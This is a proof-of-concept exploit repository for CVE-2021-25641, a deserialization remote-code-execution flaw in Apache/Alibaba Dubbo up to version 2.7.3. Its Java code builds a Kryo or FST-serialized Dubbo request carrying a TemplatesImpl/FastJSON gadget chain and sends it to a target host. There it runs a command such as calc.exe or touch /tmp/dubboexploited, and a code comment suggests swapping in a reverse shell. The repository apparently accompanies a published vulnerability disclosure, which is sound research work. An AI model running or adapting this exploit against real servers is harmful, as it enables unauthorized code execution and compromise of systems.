├── DubboProtocolExploit ├── pom.xml └── src │ └── main │ └── java │ ├── DubboProtocolExploit │ ├── Main.java │ └── Utils.java │ └── org │ └── apache │ └── dubbo │ └── demo │ └── DemoService.java └── README.md /DubboProtocolExploit/pom.xml: -------------------------------------------------------------------------------- 1 | 2 | 5 | 4.0.0 6 | 7 | groupId 8 | DubboProtocolExploit 9 | 1.0-SNAPSHOT 10 | 11 | 12 | 13 | org.apache.maven.plugins 14 | maven-compiler-plugin 15 | 3.8.1 16 | 17 | 8 18 | 8 19 | 20 | 21 | 22 | 23 | 24 | 25 | org.apache.dubbo 26 | dubbo 27 | 2.7.3 28 | 29 | 30 | org.apache.dubbo 31 | dubbo-common 32 | 2.7.3 33 | 34 | 35 | com.alibaba 36 | dubbo 37 | 2.6.9 38 | 39 | 40 | com.alibaba 41 | dubbo-remoting-netty4 42 | 2.6.9 43 | 44 | 45 | io.netty 46 | netty-all 47 | 4.1.60.Final 48 | 49 | 50 | org.springframework 51 | spring-web 52 | 5.1.9.RELEASE 53 | 54 | 55 | com.nqzero 56 | permit-reflect 57 | 0.4 58 | 59 | 60 | 61 | -------------------------------------------------------------------------------- /DubboProtocolExploit/src/main/java/DubboProtocolExploit/Main.java: -------------------------------------------------------------------------------- 1 | package DubboProtocolExploit; 2 | 3 | 4 | import com.alibaba.fastjson.JSONObject; 5 | import org.apache.dubbo.common.io.Bytes; 6 | import org.apache.dubbo.common.serialize.Serialization; 7 | import org.apache.dubbo.common.serialize.fst.FstObjectOutput; 8 | import org.apache.dubbo.common.serialize.fst.FstSerialization; 9 | import org.apache.dubbo.common.serialize.kryo.KryoObjectOutput; 10 | import org.apache.dubbo.common.serialize.kryo.KryoSerialization; 11 | import org.apache.dubbo.common.serialize.ObjectOutput; 12 | import org.apache.dubbo.rpc.RpcInvocation; 13 | import org.apache.dubbo.serialize.hessian.Hessian2ObjectOutput; 14 | import org.apache.dubbo.serialize.hessian.Hessian2Serialization; 15 | /*import com.alibaba.dubbo.common.io.Bytes; 16 | import com.alibaba.dubbo.common.serialize.Serialization; 17 | import com.alibaba.dubbo.common.serialize.fst.FstObjectOutput; 18 | import com.alibaba.dubbo.common.serialize.fst.FstSerialization; 19 | import com.alibaba.dubbo.common.serialize.kryo.KryoObjectOutput; 20 | import com.alibaba.dubbo.common.serialize.kryo.KryoSerialization; 21 | import com.alibaba.dubbo.common.serialize.ObjectOutput;*/ 22 | 23 | import java.io.ByteArrayOutputStream; 24 | import java.io.IOException; 25 | import java.io.OutputStream; 26 | import java.io.Serializable; 27 | import java.lang.reflect.Method; 28 | import java.net.Socket; 29 | 30 | /* This Dubbo protocol exploit affects versions <= 2.7.3, 31 | and will print "whoops!" on the server's console via RCE. 32 | 33 | This issue is caused by deserialization of untrusted data, 34 | triggered via a communication protocol that allows dynamically 35 | switching to a vulnerable deserializer, and exploited with a 36 | payload gadget chain based on FastJson 37 | 38 | On Windows servers - it will try to execute calc.exe 39 | On Linux servers - it will touch /tmp/dubboexploited 40 | */ 41 | 42 | public class Main { 43 | // Customize URL for remote targets 44 | public static String DUBBO_HOST_NAME = "localhost"; 45 | public static int DUBBO_HOST_PORT = 20880; 46 | 47 | // OS-specific payloads - comment to switch OS variants 48 | // exploit will print "whoops!" on server console either way 49 | //public static String DUBBO_RCE_COMMAND = "touch /tmp/dubboexploited"; // Linux 50 | public static String DUBBO_RCE_COMMAND = "calc.exe"; // Windows 51 | 52 | //Exploit variant - comment to switch exploit variants 53 | public static String EXPLOIT_VARIANT = "Kryo"; 54 | //public static String EXPLOIT_VARIANT = "FST"; 55 | 56 | // Magic header from ExchangeCodec 57 | protected static final short MAGIC = (short) 0xdabb; 58 | protected static final byte MAGIC_HIGH = Bytes.short2bytes(MAGIC)[0]; 59 | protected static final byte MAGIC_LOW = Bytes.short2bytes(MAGIC)[1]; 60 | 61 | // Message flags from ExchangeCodec 62 | protected static final byte FLAG_REQUEST = (byte) 0x80; 63 | protected static final byte FLAG_TWOWAY = (byte) 0x40; 64 | 65 | public static void main(String[] args) throws Exception { 66 | Object templates = Utils.createTemplatesImpl(DUBBO_RCE_COMMAND); // TemplatesImpl gadget chain 67 | 68 | // triggers Runtime.exec() on TemplatesImpl.newTransformer() 69 | JSONObject jo = new JSONObject(); 70 | jo.put("oops",(Serializable)templates); // Vulnerable FastJSON wrapper 71 | Object gadgetChain = Utils.makeXStringToStringTrigger(jo); // toString() trigger 72 | 73 | // encode request data. 74 | ByteArrayOutputStream bos = new ByteArrayOutputStream(); 75 | 76 | // Kryo exploit variant 77 | Serialization s; 78 | ObjectOutput objectOutput; 79 | switch(EXPLOIT_VARIANT) { 80 | case "FST": 81 | s = new FstSerialization(); 82 | objectOutput = new FstObjectOutput(bos); 83 | break; 84 | case "Kryo": 85 | default: 86 | s = new KryoSerialization(); 87 | objectOutput = new KryoObjectOutput(bos); 88 | break; 89 | } 90 | 91 | // 0xc2 is Hessian2 + two-way + Request serialization 92 | // Kryo | two-way | Request is 0xc8 on third byte 93 | // FST | two-way | Request is 0xc9 on third byte 94 | 95 | byte requestFlags = (byte) (FLAG_REQUEST | s.getContentTypeId() | FLAG_TWOWAY); 96 | byte[] header = new byte[]{MAGIC_HIGH, MAGIC_LOW, requestFlags, 97 | 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0}; // Padding and 0 length LSBs 98 | bos.write(header); 99 | // Strings need only satisfy "readUTF" calls until "readObject" is reached, so garbage metadata works too 100 | /* 101 | objectOutput.writeUTF("notAversion"); 102 | objectOutput.writeUTF("notAservice"); 103 | objectOutput.writeUTF("notAserviceVersion"); 104 | objectOutput.writeUTF("notAmethod"); 105 | objectOutput.writeUTF("notAtype"); //*/ 106 | 107 | // This section contains valid data writes 108 | RpcInvocation ri = new RpcInvocation(); 109 | ri.setParameterTypes(new Class[] {Object.class, Method.class, Object.class}); 110 | //ri.setParameterTypesDesc("Ljava/lang/String;[Ljava/lang/String;[Ljava/lang/Object;"); 111 | ri.setArguments(new Object[] { "sayHello", new String[] {"org.apache.dubbo.demo.DemoService"}, new Object[] {"YOU"}}); 112 | // Strings need only satisfy "readUTF" calls until "readObject" is reached 113 | 114 | // /* 115 | objectOutput.writeUTF("2.0.2"); 116 | objectOutput.writeUTF("org.apache.dubbo.demo.DemoService"); 117 | objectOutput.writeUTF("0.0.0"); 118 | objectOutput.writeUTF("sayHello"); 119 | objectOutput.writeUTF("Ljava/lang/String;"); //*/ 120 | 121 | objectOutput.writeObject(gadgetChain); 122 | objectOutput.writeObject(ri.getAttachments()); 123 | 124 | objectOutput.flushBuffer(); 125 | byte[] payload = bos.toByteArray(); 126 | int len = payload.length - header.length; 127 | Bytes.int2bytes(len, payload, 12); 128 | 129 | // Dubbo Message Stream Hex Dump 130 | for (int i = 0; i < payload.length; i++) { 131 | System.out.print(String.format("%02X", payload[i]) + " "); 132 | if ((i + 1) % 8 == 0) 133 | System.out.print(" "); 134 | if ((i + 1) % 16 == 0 ) 135 | System.out.println(); 136 | 137 | } 138 | // Payload string 139 | System.out.println(); 140 | System.out.println(new String(payload)); 141 | 142 | Socket pingSocket = null; 143 | OutputStream out = null; 144 | // Send request over TCP socket 145 | try { 146 | pingSocket = new Socket(DUBBO_HOST_NAME, DUBBO_HOST_PORT); 147 | out = pingSocket.getOutputStream(); 148 | } catch (IOException e) { 149 | return; 150 | } 151 | out.write(payload); 152 | out.flush(); 153 | out.close(); 154 | pingSocket.close(); 155 | System.out.println("Sent!"); 156 | } 157 | } 158 | -------------------------------------------------------------------------------- /DubboProtocolExploit/src/main/java/DubboProtocolExploit/Utils.java: -------------------------------------------------------------------------------- 1 | package DubboProtocolExploit; 2 | 3 | import com.nqzero.permit.Permit; 4 | import com.sun.org.apache.xalan.internal.xsltc.DOM; 5 | import com.sun.org.apache.xalan.internal.xsltc.TransletException; 6 | import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; 7 | import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; 8 | import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; 9 | import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; 10 | import com.sun.org.apache.xml.internal.serializer.SerializationHandler; 11 | import com.sun.org.apache.xpath.internal.objects.XString; 12 | import javassist.ClassClassPath; 13 | import javassist.ClassPool; 14 | import javassist.CtClass; 15 | import org.springframework.aop.target.HotSwappableTargetSource; 16 | import sun.reflect.ReflectionFactory; 17 | 18 | import java.io.ByteArrayOutputStream; 19 | import java.io.IOException; 20 | import java.io.InputStream; 21 | import java.io.Serializable; 22 | import java.lang.reflect.*; 23 | import java.util.HashMap; 24 | import java.util.Map; 25 | 26 | import static com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.DESERIALIZE_TRANSLET; 27 | 28 | /* 29 | * Utility class - based on code found in ysoserial, includes method calls used in 30 | * ysoserial.payloads.util specifically the Reflections, Gadgets, and ClassFiles classes. These were 31 | * consolidated into a single util class for the sake of brevity; they are otherwise unchanged. 32 | * 33 | * Additionally, uses code based on marshalsec.gadgets.ToStringUtil.makeSpringAOPToStringTrigger 34 | * to create a toString trigger 35 | * 36 | * ysoserial by Chris Frohoff - https://github.com/frohoff/ysoserial 37 | * marshalsec by Moritz Bechler - https://github.com/mbechler/marshalsec 38 | */ 39 | public class Utils { 40 | static { 41 | // special case for using TemplatesImpl gadgets with a SecurityManager enabled 42 | System.setProperty(DESERIALIZE_TRANSLET, "true"); 43 | 44 | // for RMI remote loading 45 | System.setProperty("java.rmi.server.useCodebaseOnly", "false"); 46 | } 47 | 48 | public static final String ANN_INV_HANDLER_CLASS = "sun.reflect.annotation.AnnotationInvocationHandler"; 49 | 50 | public static class StubTransletPayload extends AbstractTranslet implements Serializable { 51 | 52 | private static final long serialVersionUID = -5971610431559700674L; 53 | 54 | 55 | public void transform (DOM document, SerializationHandler[] handlers ) throws TransletException {} 56 | 57 | 58 | @Override 59 | public void transform (DOM document, DTMAxisIterator iterator, SerializationHandler handler ) throws TransletException {} 60 | } 61 | 62 | // required to make TemplatesImpl happy 63 | public static class Foo implements Serializable { 64 | 65 | private static final long serialVersionUID = 8207363842866235160L; 66 | } 67 | 68 | public static InvocationHandler createMemoizedInvocationHandler (final Map map ) throws Exception { 69 | return (InvocationHandler) Utils.getFirstCtor(ANN_INV_HANDLER_CLASS).newInstance(Override.class, map); 70 | } 71 | 72 | public static Object createTemplatesImpl ( final String command ) throws Exception { 73 | if ( Boolean.parseBoolean(System.getProperty("properXalan", "false")) ) { 74 | return createTemplatesImpl( 75 | command, 76 | Class.forName("org.apache.xalan.xsltc.trax.TemplatesImpl"), 77 | Class.forName("org.apache.xalan.xsltc.runtime.AbstractTranslet"), 78 | Class.forName("org.apache.xalan.xsltc.trax.TransformerFactoryImpl")); 79 | } 80 | 81 | return createTemplatesImpl(command, TemplatesImpl.class, AbstractTranslet.class, TransformerFactoryImpl.class); 82 | } 83 | 84 | 85 | public static T createTemplatesImpl ( final String command, Class tplClass, Class abstTranslet, Class transFactory ) 86 | throws Exception { 87 | final T templates = tplClass.newInstance(); 88 | 89 | // use template gadget class 90 | ClassPool pool = ClassPool.getDefault(); 91 | pool.insertClassPath(new ClassClassPath(Utils.StubTransletPayload.class)); 92 | pool.insertClassPath(new ClassClassPath(abstTranslet)); 93 | final CtClass clazz = pool.get(Utils.StubTransletPayload.class.getName()); 94 | // run command in static initializer 95 | // TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections 96 | String cmd = "System.out.println(\"whoops!\"); java.lang.Runtime.getRuntime().exec(\"" + 97 | command.replaceAll("\\\\","\\\\\\\\").replaceAll("\"", "\\\"") + 98 | "\");"; 99 | clazz.makeClassInitializer().insertAfter(cmd); 100 | // sortarandom name to allow repeated exploitation (watch out for PermGen exhaustion) 101 | clazz.setName("ysoserial.Pwner" + System.nanoTime()); 102 | CtClass superC = pool.get(abstTranslet.getName()); 103 | clazz.setSuperclass(superC); 104 | 105 | final byte[] classBytes = clazz.toBytecode(); 106 | 107 | // inject class bytes into instance 108 | Utils.setFieldValue(templates, "_bytecodes", new byte[][] { 109 | classBytes, Utils.classAsBytes(Utils.Foo.class) 110 | }); 111 | 112 | // required to make TemplatesImpl happy 113 | Utils.setFieldValue(templates, "_name", "Pwnr"); 114 | Utils.setFieldValue(templates, "_tfactory", transFactory.newInstance()); 115 | return templates; 116 | } 117 | 118 | public static void setAccessible(AccessibleObject member) { 119 | // quiet runtime warnings from JDK9+ 120 | Permit.setAccessible(member); 121 | } 122 | 123 | public static Field getField(final Class clazz, final String fieldName) { 124 | Field field = null; 125 | try { 126 | field = clazz.getDeclaredField(fieldName); 127 | setAccessible(field); 128 | } 129 | catch (NoSuchFieldException ex) { 130 | if (clazz.getSuperclass() != null) 131 | field = getField(clazz.getSuperclass(), fieldName); 132 | } 133 | return field; 134 | } 135 | 136 | public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception { 137 | final Field field = getField(obj.getClass(), fieldName); 138 | field.set(obj, value); 139 | } 140 | 141 | public static Object getFieldValue(final Object obj, final String fieldName) throws Exception { 142 | final Field field = getField(obj.getClass(), fieldName); 143 | return field.get(obj); 144 | } 145 | 146 | public static Constructor getFirstCtor(final String name) throws Exception { 147 | final Constructor ctor = Class.forName(name).getDeclaredConstructors()[0]; 148 | setAccessible(ctor); 149 | return ctor; 150 | } 151 | 152 | @SuppressWarnings ( {"unchecked"} ) 153 | public static T createWithConstructor ( Class classToInstantiate, Class constructorClass, Class[] consArgTypes, Object[] consArgs ) 154 | throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException { 155 | Constructor objCons = constructorClass.getDeclaredConstructor(consArgTypes); 156 | setAccessible(objCons); 157 | Constructor sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons); 158 | setAccessible(sc); 159 | return (T)sc.newInstance(consArgs); 160 | } 161 | 162 | public static String classAsFile(final Class clazz) { 163 | return classAsFile(clazz, true); 164 | } 165 | 166 | public static String classAsFile(final Class clazz, boolean suffix) { 167 | String str; 168 | if (clazz.getEnclosingClass() == null) { 169 | str = clazz.getName().replace(".", "/"); 170 | } else { 171 | str = classAsFile(clazz.getEnclosingClass(), false) + "$" + clazz.getSimpleName(); 172 | } 173 | if (suffix) { 174 | str += ".class"; 175 | } 176 | return str; 177 | } 178 | 179 | public static byte[] classAsBytes(final Class clazz) { 180 | try { 181 | final byte[] buffer = new byte[1024]; 182 | final String file = classAsFile(clazz); 183 | final InputStream in = Utils.class.getClassLoader().getResourceAsStream(file); 184 | if (in == null) { 185 | throw new IOException("couldn't find '" + file + "'"); 186 | } 187 | final ByteArrayOutputStream out = new ByteArrayOutputStream(); 188 | int len; 189 | while ((len = in.read(buffer)) != -1) { 190 | out.write(buffer, 0, len); 191 | } 192 | return out.toByteArray(); 193 | } catch (IOException e) { 194 | throw new RuntimeException(e); 195 | } 196 | } 197 | public static HashMap makeMap (Object v1, Object v2 ) throws Exception { 198 | HashMap s = new HashMap<>(); 199 | Utils.setFieldValue(s, "size", 2); 200 | Class nodeC; 201 | try { 202 | nodeC = Class.forName("java.util.HashMap$Node"); 203 | } 204 | catch ( ClassNotFoundException e ) { 205 | nodeC = Class.forName("java.util.HashMap$Entry"); 206 | } 207 | Constructor nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC); 208 | nodeCons.setAccessible(true); 209 | 210 | Object tbl = Array.newInstance(nodeC, 2); 211 | Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null)); 212 | Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null)); 213 | Utils.setFieldValue(s, "table", tbl); 214 | return s; 215 | } 216 | 217 | public static Object makeXStringToStringTrigger(Object o) throws Exception { 218 | XString x = new XString("HEYO"); 219 | return Utils.makeMap(new HotSwappableTargetSource(o), new HotSwappableTargetSource(x)); 220 | } 221 | } -------------------------------------------------------------------------------- /DubboProtocolExploit/src/main/java/org/apache/dubbo/demo/DemoService.java: -------------------------------------------------------------------------------- 1 | package org.apache.dubbo.demo; 2 | 3 | public interface DemoService { 4 | public Object sayHello(Object o); 5 | } 6 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # The 0xDABB of Doom - CVE-2021-25641-Proof-of-Concept 2 | Apache/Alibaba Dubbo <= 2.7.3 PoC Code for CVE-2021-25641 RCE via Deserialization of Untrusted Data; Affects Versions <= 2.7.6 With Different Gadgets 3 | 4 | Covered in-depth in the article "The 0xDABB of Doom", published on the Checkmarx blog 5 | https://www.checkmarx.com/blog/technical-blog/the-0xdabb-of-doom-cve-2021-25641/ 6 | --------------------------------------------------------------------------------